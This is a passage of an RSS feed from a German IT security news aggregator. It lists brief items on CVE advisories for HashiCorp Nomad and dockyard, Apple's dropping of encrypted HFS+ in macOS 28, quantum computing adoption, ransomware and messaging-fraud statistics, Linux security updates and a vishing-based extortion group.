<content:encoded><![CDATA[<p>SensorFM, a wearable health foundation model from Google Research, Google DeepMind, and university collaborators. We walk through its ViT-1D masked-autoencoder backbone, pretrained on more than one trillion minutes of unlabeled sensor signals from 5,000,000 consented participants. We examine the co-scaling results across four model sizes and four data volumes, including the case where capacity outruns data. We show how frozen embeddings plus a PCA-50 linear probe beat feature-engineered baselines on 34 of 35 tasks. We also review the agentic classroom that searched 30,516 prediction heads, and the clinician evaluation grounding a Personal Health Agent.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/10/google-research-introduces-sensorfm-a-wearable-health-foundation-model-pretrained-on-one-trillion-minutes-of-sensor-data/">Google Research Introduces SensorFM: A Wearable Health Foundation Model Pretrained on One Trillion Minutes of Sensor Data</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-14891 | HashiCorp Nomad/Nomad Enterprise up to 2.0.1 Docker Task Driver escape output (CNNVD-2026-99943459)]]></title>
<description><![CDATA[A vulnerability classified as critical was found in HashiCorp Nomad and Nomad Enterprise. This affects an unknown function of the component Docker Task Driver. Executing a manipulation can lead to escaping of output.

This vulnerability appears as CVE-2026-14891. The attack may be performed from ...]]></description>
<link>https://tsecurity.de/de/3658694/sicherheitsluecken/cve-2026-14891-hashicorp-nomadnomad-enterprise-up-to-201-docker-task-driver-escape-output-cnnvd-2026-99943459/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658694/sicherheitsluecken/cve-2026-14891-hashicorp-nomadnomad-enterprise-up-to-201-docker-task-driver-escape-output-cnnvd-2026-99943459/</guid>
<pubDate>Fri, 10 Jul 2026 06:38:49 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> was found in <a href="https://vuldb.com/product/hashicorp:nomad">HashiCorp Nomad and Nomad Enterprise</a>. This affects an unknown function of the component <em>Docker Task Driver</em>. Executing a manipulation can lead to escaping of output.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-14891">CVE-2026-14891</a>. The attack may be performed from remote. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[macOS 28 Will Drop Support For Encrypted Mac OS Extended Volumes]]></title>
<description><![CDATA[Starting with macOS 28, Apple will no longer support encrypted Mac OS Extended, or HFS+, volumes. Users will need to decrypt them or reformat them as APFS to keep using them. 9to5Mac reports: In a new support document, Apple explains that starting with macOS 28, "the Mac OS Extended file system f...]]></description>
<link>https://tsecurity.de/de/3657804/it-security-nachrichten/macos-28-will-drop-support-for-encrypted-mac-os-extended-volumes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657804/it-security-nachrichten/macos-28-will-drop-support-for-encrypted-mac-os-extended-volumes/</guid>
<pubDate>Thu, 09 Jul 2026 19:07:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Starting with macOS 28, Apple will no longer support encrypted Mac OS Extended, or HFS+, volumes. Users will need to decrypt them or reformat them as APFS to keep using them. 9to5Mac reports: In a new support document, Apple explains that starting with macOS 28, "the Mac OS Extended file system format will be supported only for volumes (disks and other storage devices) that aren't encrypted." In practice, this means users who currently rely on encrypted HFS+ external drives or other encrypted legacy Mac-formatted volumes will need to "either decrypt or reformat any encrypted Mac OS Extended volumes."
 
Apple doesn't explain the reason for the change. Still, the move appears to be another step in Apple's transition to APFS, its file system with built-in encryption support, which replaced Mac OS Extended as the default Mac file system in macOS High Sierra. As a result of this change, Apple says that starting with macOS 26, Macs might notify users when they're using an encrypted Mac OS Extended disk that won't be compatible with macOS 28 or later.
 
According to the support page, "the notification will identify the volume by name." However, Apple says users can manually confirm whether a volume is both using Mac OS Extended format and encrypted by following these steps [...]. Apple adds that "macOS 28 and later will continue to support unencrypted volumes that use Mac OS Extended format," and notes "Mac OS Extended is also known as HFS Plus (or HFS+)."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=macOS+28+Will+Drop+Support+For+Encrypted+Mac+OS+Extended+Volumes%3A+https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F09%2F1641225%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F09%2F1641225%2Fmacos-28-will-drop-support-for-encrypted-mac-os-extended-volumes%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://hardware.slashdot.org/story/26/07/09/1641225/macos-28-will-drop-support-for-encrypted-mac-os-extended-volumes?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Running OpenClaw with Ollama]]></title>
<description><![CDATA[This article covers the full path from zero to a running private research assistant on Telegram, including configuring the context length correctly, connecting the channel, enabling web search, and deploying it headlessly in Docker.]]></description>
<link>https://tsecurity.de/de/3657295/ai-nachrichten/running-openclaw-with-ollama/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657295/ai-nachrichten/running-openclaw-with-ollama/</guid>
<pubDate>Thu, 09 Jul 2026 16:03:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This article covers the full path from zero to a running private research assistant on Telegram, including configuring the context length correctly, connecting the channel, enabling web search, and deploying it headlessly in Docker.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI tie-in accelerates quantum usefulness, early adopters say]]></title>
<description><![CDATA[Quantum computers are still two to five years away from full-scale production, but early users like the Cleveland Clinic and Mitsubishi Chemical are already seeing benefits, particularly when quantum is used in conjunction with AI and high-performance computing.



“We are starting to see real ap...]]></description>
<link>https://tsecurity.de/de/3657220/it-security-nachrichten/ai-tie-in-accelerates-quantum-usefulness-early-adopters-say/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657220/it-security-nachrichten/ai-tie-in-accelerates-quantum-usefulness-early-adopters-say/</guid>
<pubDate>Thu, 09 Jul 2026 15:38:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><a href="https://www.networkworld.com/article/4117438/quantum-computing-is-getting-closer-but-quantum-proof-encryption-remains-elusive.html" target="_blank">Quantum computers</a> are still two to five years away from full-scale production, but early users like the Cleveland Clinic and Mitsubishi Chemical are already seeing benefits, particularly when quantum is used in conjunction with AI and high-performance computing.</p>



<p>“We are starting to see real applications of it,” says <a href="https://www.linkedin.com/in/lara-jehi-md-mhcds-67278a45/" target="_blank" rel="noreferrer noopener">Lara Jehi</a>, chief research information officer at Cleveland Clinic, and one of the keynote speakers at the <a href="https://www.alphaevents.com/events-quantumtechus/faq" target="_blank" rel="noreferrer noopener">Quantum Tech World conference in Boston</a> in late June.</p>



<p>And the technology is moving faster than anyone could have predicted, she tells <em>Network World</em>. For example, in the fall of 2024, the largest simulation that <a href="https://www.networkworld.com/article/4115513/what-enterprises-think-about-quantum-computing.html">quantum computers</a> could handle was just ten atoms, she says. “Roadmaps in the industry were hypothesizing that getting past the 10,000-atom threshold would take another five to seven years.”</p>



<p>This year, the Cleveland Clinic simulated protein complexes of <a href="https://newsroom.clevelandclinic.org/2026/05/05/cleveland-clinic-riken-and-ibm-model-a-12635-atom-protein--the-largest-known-to-be-simulated-with-quantum-computers" target="_blank" rel="noreferrer noopener">up to 12,635 atoms</a>. “We would not have been able to do the same analysis classically,” she says.</p>



<p>But even a protein of this size is still too small to be clinically relevant, she adds. For something with real-world applications, you’d need to be in the ballpark of a million atoms. And that’s not out of reach. “I think we’re very close, I’m very confident,” she says. “One or two years.”</p>



<p>And even today, by <a href="https://www.networkworld.com/article/4144645/ibm-proposes-unified-architecture-for-hybrid-quantum-classical-computing.html" target="_blank">combining quantum computing with AI running on classical computers</a>, it’s possible to do interesting work. For example, simulating how well a compound will bind to a protein in real time is too big a problem for either AI or a quantum computer to handle on its own.</p>



<p>“But AI can do a good job identifying where in that large molecule are the particular spots where you need that extra layer of accuracy,” she says. “We use classical computing up front to identify these highest tier fragments and then zoom in to those fragments with the higher resolution that quantum can provide for better simulation.”</p>



<p>Mitsubishi Chemical has been experimenting with quantum computing since 2018, for quantum chemical calculations and optimization problems, and the technology works.</p>



<p>“We want to try to have it in production use by the end of this year, or maybe the beginning of next year,” says Qi Gao, distinguished scientist in the materials design laboratory of the <a href="https://www.linkedin.com/company/mitsubishi-chemical-america/posts/" target="_blank" rel="noreferrer noopener">Mitsubishi Chemical Corporation</a> Science and Innovation Center. The first use cases will be in advanced semiconductor materials, helping design new materials for computer chips.</p>



<p>“Two-nanometer chips require high energy resolution, which is impossible for classical computer simulations,” he says. “So, we have to use quantum computers.”</p>



<p>The plan is to simulate metal oxide, which is a photo-resistant material used in etching patterns into computer chips. This is a simulation that cannot be done classically, Gao says. It will take a couple of years to fully develop the algorithms to make it work, he says, but the industry is moving towards practical business use.</p>



<p>“Every company is looking at 2028, 2029, or 2030,” he says. “We think 2028 and 2029 will be very important years in quantum computing.”</p>



<p><a href="https://www.softbank.jp/en/" target="_blank" rel="noreferrer noopener">SoftBank Corp.</a> is looking at a similar timeframe for commercializing its quantum computing offerings. The company connects customers to IBM and <a href="https://www.quantinuum.com/" target="_blank" rel="noreferrer noopener">Quantinuum</a> machines at Riken through its AI data center, with 21 pilot projects now ongoing with pilot customers.</p>



<p>“Within our AI data center, we have already built the supercomputer level,” says <a href="https://www.linkedin.com/in/nobushige-oguri-2949525/" target="_blank" rel="noreferrer noopener">Nobushige Oguri</a>, director of the quantum business planning department of the quantum technology divisions at SoftBank Corp. “It’s a world-class supercomputer, but it’s just set up for processing AI. The quantum computer will be the new accelerator to enhance current AI capability.”</p>



<p>It’s this <a href="https://www.networkworld.com/article/4131660/ibm-research-when-ai-and-quantum-merge.html" target="_blank">hybrid use</a> of AI and quantum together that will accelerate adoption, he tells <em>Network World</em>. <a href="https://www.linkedin.com/in/juliette-peyronnet05/" target="_blank" rel="noreferrer noopener">Juliette Peyronnet</a>, U.S. general manager at <a href="https://alice-bob.com/" target="_blank" rel="noreferrer noopener">Alice &amp; Bob</a>, agrees that the hybrid approach is the best bet, with quantum computers augmenting today’s technology, not replacing it.</p>



<p>“Quantum processing units are very specialized devices,” she says. “They can’t solve your everyday problems. They’re really bad at doing basic math.”</p>



<p>Instead, just like the way that CPUs do the bulk of computing work and GPUs are used for AI-related tasks, quantum processors will be used to handle the challenges that traditional computers can’t tackle.</p>



<p>“We know that quantum computers are not going to work in isolation,” she says.</p>



<h2 class="wp-block-heading">A maturing ecosystem</h2>



<p>Another sign that quantum computing is starting to move out of the laboratory and into real-world use is the emergence of a quantum ecosystem, with multiple hardware and software providers filling in all the gaps.</p>



<p>“I’ve been 15 years in field, as a researcher and now as a CEO, and it’s been changing dramatically and accelerating very fast,” says <a href="https://www.linkedin.com/in/mpestarellas/" target="_blank" rel="noreferrer noopener">Marta Estarellas</a>, CEO at <a href="https://qilimanjaro.tech/" target="_blank" rel="noreferrer noopener">Qilimanjaro Quantum Tech</a>, a quantum computing company based in Spain that makes superconducting qubits. And, today, quantum computing companies no longer need to make every single component from scratch, she says.</p>



<p>“Now what you see are a lot of spinoffs and startups starting to build different layers of the supply chain,” she tells <em>Network World</em>. “Which is great. Players like ours don’t have to think about building the full stack and can delegate to third parties—and that really helps push forward the technology.”</p>



<p>The <a href="https://iqnhub.org/event/quantum-tech-2026/" target="_blank" rel="noreferrer noopener">Quantum Tech World conference</a> showcases this ecosystem, she says. According to conference organizers, more than 1,300 people attended this year, and there were more than one hundred sponsors. Among them were multiple quantum computer makers, including <a href="https://quantumcomputinginc.com/" target="_blank" rel="noreferrer noopener">Quantum Computing Inc.,</a> a maker of room-temperature photonic computers, which ran a real-time demo of a fraud detection algorithm that beat the best classical method and scales linearly with data set size instead of quadratically. There were also software companies, consulting firms, and other specialized providers.</p>



<p>“Our booth has been packed,” says <a href="https://www.linkedin.com/in/jason-silbergleit/" target="_blank" rel="noreferrer noopener">Jason Silbergleit</a>, head of Americas at <a href="https://www.classiq.io/" target="_blank" rel="noreferrer noopener">Classiq</a>, an orchestration software company that provides an abstraction layer that makes it easier for non-scientists to build quantum applications. “More and more users want to take advantage of the platform. Even in the past six months—three months—the amount of acceleration and interest is growing.”</p>



<p>“We’re shifting from very fundamental and exploratory, building one-off kinds of systems and devices, to making things that are scalable,” says <a href="https://quantumconsortium.org/speakers/celia-merzbacher/" target="_blank" rel="noreferrer noopener">Celia Merzbacher</a>, executive director at the <a href="https://quantumconsortium.org/speakers/celia-merzbacher/" target="_blank" rel="noreferrer noopener">Quantum Economic Development Consortium</a>. “And within a timeframe that private investors and end users are willing to start to engage.”</p>



<p>The momentum is apparent on a number of fronts, she tells <em>Network World</em>. Quantum companies are getting new rounds of investment, and governments are making commitments. </p>



<p>According to a <a href="https://quantumconsortium.org/publication/2026-state-of-the-global-quantum-industry-report/" target="_blank" rel="noreferrer noopener">report</a> her organization released in April, there are now 556 pure-play quantum companies and more than 7,000 “quantum-engaged” organizations. The quantum industry saw $1.9 billion in revenues in 2025, up 30% from the year before. There was also $12.7 billion in new government funding commitments last year, up more than 300% from 2024, and $4.9 billion in new private venture capital investment, an increase of nearly 200%.</p>



<p>“And the number of people who are really rolling up their sleeves and doing the work that needs to be done to advance the hardware and the software—I think there’s just a momentum that is quite visible,” she says.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[A New Ransomware Leader Emerges as June 2026 Attack Volumes Climb Worldwide]]></title>
<description><![CDATA[Key takeaways Weekly cyber-attacks per organization reached 2,270 in June 2026, up 10% from May and 17% higher than June 2025 Education, Government, and Telecommunications again sat at the top of the industry list, with Education and Telecommunications posting double-digit…
Read more →
The post A...]]></description>
<link>https://tsecurity.de/de/3657211/it-security-nachrichten/a-new-ransomware-leader-emerges-as-june-2026-attack-volumes-climb-worldwide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657211/it-security-nachrichten/a-new-ransomware-leader-emerges-as-june-2026-attack-volumes-climb-worldwide/</guid>
<pubDate>Thu, 09 Jul 2026 15:38:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Key takeaways Weekly cyber-attacks per organization reached 2,270 in June 2026, up 10% from May and 17% higher than June 2025 Education, Government, and Telecommunications again sat at the top of the industry list, with Education and Telecommunications posting double-digit…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/a-new-ransomware-leader-emerges-as-june-2026-attack-volumes-climb-worldwide/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/a-new-ransomware-leader-emerges-as-june-2026-attack-volumes-climb-worldwide/">A New Ransomware Leader Emerges as June 2026 Attack Volumes Climb Worldwide</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A New Ransomware Leader Emerges as June 2026 Attack Volumes Climb Worldwide]]></title>
<description><![CDATA[Key takeaways Weekly cyber-attacks per organization reached 2,270 in June 2026, up 10% from May and 17% higher than June 2025 Education, Government, and Telecommunications again sat at the top of the industry list, with Education and Telecommunications posting double-digit gains while Government ...]]></description>
<link>https://tsecurity.de/de/3657171/it-security-nachrichten/a-new-ransomware-leader-emerges-as-june-2026-attack-volumes-climb-worldwide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657171/it-security-nachrichten/a-new-ransomware-leader-emerges-as-june-2026-attack-volumes-climb-worldwide/</guid>
<pubDate>Thu, 09 Jul 2026 15:24:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1600" height="800" src="https://blog.checkpoint.com/wp-content/uploads/2026/01/Blog-banner-800x400_1.png" class="webfeedsFeaturedVisual wp-post-image" alt="" link_thumbnail="" decoding="async" fetchpriority="high" srcset="https://blog.checkpoint.com/wp-content/uploads/2026/01/Blog-banner-800x400_1.png 1600w, https://blog.checkpoint.com/wp-content/uploads/2026/01/Blog-banner-800x400_1-300x150.png 300w, https://blog.checkpoint.com/wp-content/uploads/2026/01/Blog-banner-800x400_1-1024x512.png 1024w, https://blog.checkpoint.com/wp-content/uploads/2026/01/Blog-banner-800x400_1-768x384.png 768w, https://blog.checkpoint.com/wp-content/uploads/2026/01/Blog-banner-800x400_1-1536x768.png 1536w, https://blog.checkpoint.com/wp-content/uploads/2026/01/Blog-banner-800x400_1-400x200.png 400w, https://blog.checkpoint.com/wp-content/uploads/2026/01/Blog-banner-800x400_1-600x300.png 600w, https://blog.checkpoint.com/wp-content/uploads/2026/01/Blog-banner-800x400_1-800x400.png 800w, https://blog.checkpoint.com/wp-content/uploads/2026/01/Blog-banner-800x400_1-1200x600.png 1200w, https://blog.checkpoint.com/wp-content/uploads/2026/01/Blog-banner-800x400_1-1320x660.png 1320w" sizes="(max-width: 1600px) 100vw, 1600px"><p>Key takeaways Weekly cyber-attacks per organization reached 2,270 in June 2026, up 10% from May and 17% higher than June 2025 Education, Government, and Telecommunications again sat at the top of the industry list, with Education and Telecommunications posting double-digit gains while Government rose 5% year over year Most regions grew year over year, led by Latin America at a 27% increase, while Africa was the exception with a 9% decline GenAI exposure held roughly steady, though Healthcare and Telecommunications emerged as the industries carrying the most risk from unsafe prompts Ransomware attacks reached 646 for the month, a 33% […]</p>
<p>The post <a href="https://blog.checkpoint.com/research/a-new-ransomware-leader-emerges-as-june-2026-attack-volumes-climb-worldwide/">A New Ransomware Leader Emerges as June 2026 Attack Volumes Climb Worldwide</a> appeared first on <a href="https://blog.checkpoint.com/">Check Point Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Thursday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (389-ds-base, aardvark-dns, buildah, compat-openssl10, freeipmi, frr, gnutls, grafana, grafana-pcp, kernel, kernel-rt, libyang, nginx, openexr, pcs, perl-HTTP-Daemon, postgresql:18, python3.14-pip, skopeo, tomcat9, and wireshark), Debian (chromium an...]]></description>
<link>https://tsecurity.de/de/3657135/linux-tipps/security-updates-for-thursday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657135/linux-tipps/security-updates-for-thursday/</guid>
<pubDate>Thu, 09 Jul 2026 15:09:54 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (389-ds-base, aardvark-dns, buildah, compat-openssl10, freeipmi, frr, gnutls, grafana, grafana-pcp, kernel, kernel-rt, libyang, nginx, openexr, pcs, perl-HTTP-Daemon, postgresql:18, python3.14-pip, skopeo, tomcat9, and wireshark), <b>Debian</b> (chromium and pgextwlist), <b>Fedora</b> (openssh, opkssh, perl-CSS-Minifier-XS, python-jiter, python-nh3, python-pendulum, rust-jiter, and upower), <b>Mageia</b> (openvpn and vips), <b>Oracle</b> (389-ds-base, aardvark-dns, compat-openssl10, container-tools:ol8, freeipmi, kernel, libyang, perl-HTTP-Daemon, python3.14-pip, and skopeo), <b>Slackware</b> (libXfont2, proftpd, and xorg-server), <b>SUSE</b> (alloy, apache2, apptainer, assimp, chromium, clamav, docker, docker-compose, dracut, glib-networking, go-sendxmpp, go1.26-openssl, gstreamer-plugins-good, haproxy, hauler, jackson-annotations, jackson-bom, jackson-core, jackson- databind, jackson-dataformats-binary, jackson-modules-base, jackson-parent, kernel, krb5, kubevirt, libslirp, libXfont2, mpv, libkpipewirerecord6, ffmpegthumbs-kf5, netty, netty-tcnative, openqa, os-autoinst, podman, python-maturin, python-msgpack, python313-yt-dlp, radare2, rust-keylime, systemd, systemd, systemd-mini, tomcat11, trivy, xorg-x11-server, and xwayland), and <b>Ubuntu</b> (apache2, clamav, linux-raspi, and mailcap).]]></content:encoded>
</item>
<item>
<title><![CDATA[Helix Data Extortion Group Uses Vishing and Device Code Phishing to Steal SharePoint Data]]></title>
<description><![CDATA[Helix has surfaced as a fast-moving data extortion group that targets Microsoft 365 users through phone scams and cloud-focused phishing instead of traditional malware drops. Attackers are after access first, then large volumes of corporate files, with SharePoint libraries becoming…
Read more →
T...]]></description>
<link>https://tsecurity.de/de/3656410/it-security-nachrichten/helix-data-extortion-group-uses-vishing-and-device-code-phishing-to-steal-sharepoint-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656410/it-security-nachrichten/helix-data-extortion-group-uses-vishing-and-device-code-phishing-to-steal-sharepoint-data/</guid>
<pubDate>Thu, 09 Jul 2026 10:53:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Helix has surfaced as a fast-moving data extortion group that targets Microsoft 365 users through phone scams and cloud-focused phishing instead of traditional malware drops. Attackers are after access first, then large volumes of corporate files, with SharePoint libraries becoming…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/helix-data-extortion-group-uses-vishing-and-device-code-phishing-to-steal-sharepoint-data/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/helix-data-extortion-group-uses-vishing-and-device-code-phishing-to-steal-sharepoint-data/">Helix Data Extortion Group Uses Vishing and Device Code Phishing to Steal SharePoint Data</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Helix Data Extortion Group Uses Vishing and Device Code Phishing to Steal SharePoint Data]]></title>
<description><![CDATA[Helix has surfaced as a fast-moving data extortion group that targets Microsoft 365 users through phone scams and cloud-focused phishing instead of traditional malware drops. Attackers are after access first, then large volumes of corporate files, with SharePoint libraries becoming a central priz...]]></description>
<link>https://tsecurity.de/de/3656322/it-security-nachrichten/helix-data-extortion-group-uses-vishing-and-device-code-phishing-to-steal-sharepoint-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656322/it-security-nachrichten/helix-data-extortion-group-uses-vishing-and-device-code-phishing-to-steal-sharepoint-data/</guid>
<pubDate>Thu, 09 Jul 2026 10:08:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Helix has surfaced as a fast-moving data extortion group that targets Microsoft 365 users through phone scams and cloud-focused phishing instead of traditional malware drops. Attackers are after access first, then large volumes of corporate files, with SharePoint libraries becoming a central prize in multiple incidents. The campaign stands out because it leans on identity […]</p>
<p>The post <a href="https://cybersecuritynews.com/helix-data-extortion-group-uses-vishing-and-device-code-phishing/">Helix Data Extortion Group Uses Vishing and Device Code Phishing to Steal SharePoint Data</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[macOS 28: Apple streicht verschlüsselte HFS+-Laufwerke]]></title>
<description><![CDATA[Apple bereitet den nächsten Schnitt bei alter Mac-Technik vor. Ab macOS 28 sollen verschlüsselte Volumes im Format „Mac OS Extended“ nicht mehr unterstützt werden. Das Dateisystem ist auch als HFS+ bekannt und war über viele Jahre der Mac-Standard, bevor Apple mit macOS High Sierra auf APFS umges...]]></description>
<link>https://tsecurity.de/de/3656099/ios-mac-os/macos-28-apple-streicht-verschluesselte-hfs-laufwerke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656099/ios-mac-os/macos-28-apple-streicht-verschluesselte-hfs-laufwerke/</guid>
<pubDate>Thu, 09 Jul 2026 07:53:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://www.ifun.de/macos-28-apple-streicht-verschluesselte-hfs-laufwerke-283321/"><img align="right" hspace="5" width="150" height="150" src="https://images.ifun.de/wp-content/uploads/2022/03/mac-studio-ssd-feature-150x150.jpg" class="alignright tfe wp-post-image" alt="Mac Studio Ssd Feature" decoding="async"></a><p>Apple bereitet den nächsten Schnitt bei alter Mac-Technik vor. Ab macOS 28 sollen verschlüsselte Volumes im Format „Mac OS Extended“ nicht mehr unterstützt werden. Das Dateisystem ist auch als HFS+ bekannt und war über viele Jahre der Mac-Standard, bevor Apple mit macOS High Sierra auf APFS umgestellt hat. Betroffen sind nicht alle alten Laufwerke. Apple […]</p>
<p>The post <a href="https://www.ifun.de/macos-28-apple-streicht-verschluesselte-hfs-laufwerke-283321/">macOS 28: Apple streicht verschlüsselte HFS+-Laufwerke</a> first appeared on <a href="https://www.ifun.de/">ifun.de</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Messaging fraud trends point to smarter attacks, stronger blocking]]></title>
<description><![CDATA[Fraudsters spent 2025 investing in scale. New routes, new tools, and higher message volumes moved through the SMS, voice, and chat channels that businesses rely on to reach customers. Money follows that activity. The Communications Fraud Control Association puts global…
Read more →
The post Messa...]]></description>
<link>https://tsecurity.de/de/3655989/it-security-nachrichten/messaging-fraud-trends-point-to-smarter-attacks-stronger-blocking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655989/it-security-nachrichten/messaging-fraud-trends-point-to-smarter-attacks-stronger-blocking/</guid>
<pubDate>Thu, 09 Jul 2026 07:07:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fraudsters spent 2025 investing in scale. New routes, new tools, and higher message volumes moved through the SMS, voice, and chat channels that businesses rely on to reach customers. Money follows that activity. The Communications Fraud Control Association puts global…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/messaging-fraud-trends-point-to-smarter-attacks-stronger-blocking/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/messaging-fraud-trends-point-to-smarter-attacks-stronger-blocking/">Messaging fraud trends point to smarter attacks, stronger blocking</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Messaging fraud trends point to smarter attacks, stronger blocking]]></title>
<description><![CDATA[Fraudsters spent 2025 investing in scale. New routes, new tools, and higher message volumes moved through the SMS, voice, and chat channels that businesses rely on to reach customers. Money follows that activity. The Communications Fraud Control Association puts global telecom fraud losses at aro...]]></description>
<link>https://tsecurity.de/de/3655946/it-security-nachrichten/messaging-fraud-trends-point-to-smarter-attacks-stronger-blocking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655946/it-security-nachrichten/messaging-fraud-trends-point-to-smarter-attacks-stronger-blocking/</guid>
<pubDate>Thu, 09 Jul 2026 06:38:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fraudsters spent 2025 investing in scale. New routes, new tools, and higher message volumes moved through the SMS, voice, and chat channels that businesses rely on to reach customers. Money follows that activity. The Communications Fraud Control Association puts global telecom fraud losses at around 42 billion dollars for the year, several billion higher than its estimate for the prior year. Blocked volumes rose alongside the threat. Infobip, a communications platform that handles billions of … <a href="https://www.helpnetsecurity.com/2026/07/09/infobip-messaging-fraud-trends/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/09/infobip-messaging-fraud-trends/">Messaging fraud trends point to smarter attacks, stronger blocking</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in docker (SUSE)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3655461/unix-server/security-mehrere-probleme-in-docker-suse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655461/unix-server/security-mehrere-probleme-in-docker-suse/</guid>
<pubDate>Wed, 08 Jul 2026 23:15:57 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-39848 | 10ij dockyard up to 1.0.x Docker Container action.php?action=stop&name= missing authentication (GHSA-jrf6-3j4j-q36g)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, has been found in 10ij dockyard up to 1.0.x. This affects an unknown function of the file /apps/action.php?action=stop&name= of the component Docker Container Handler. This manipulation causes missing authentication.

The identification of this v...]]></description>
<link>https://tsecurity.de/de/3655343/sicherheitsluecken/cve-2026-39848-10ij-dockyard-up-to-10x-docker-container-actionphpactionstopname-missing-authentication-ghsa-jrf6-3j4j-q36g/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655343/sicherheitsluecken/cve-2026-39848-10ij-dockyard-up-to-10x-docker-container-actionphpactionstopname-missing-authentication-ghsa-jrf6-3j4j-q36g/</guid>
<pubDate>Wed, 08 Jul 2026 21:50:37 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
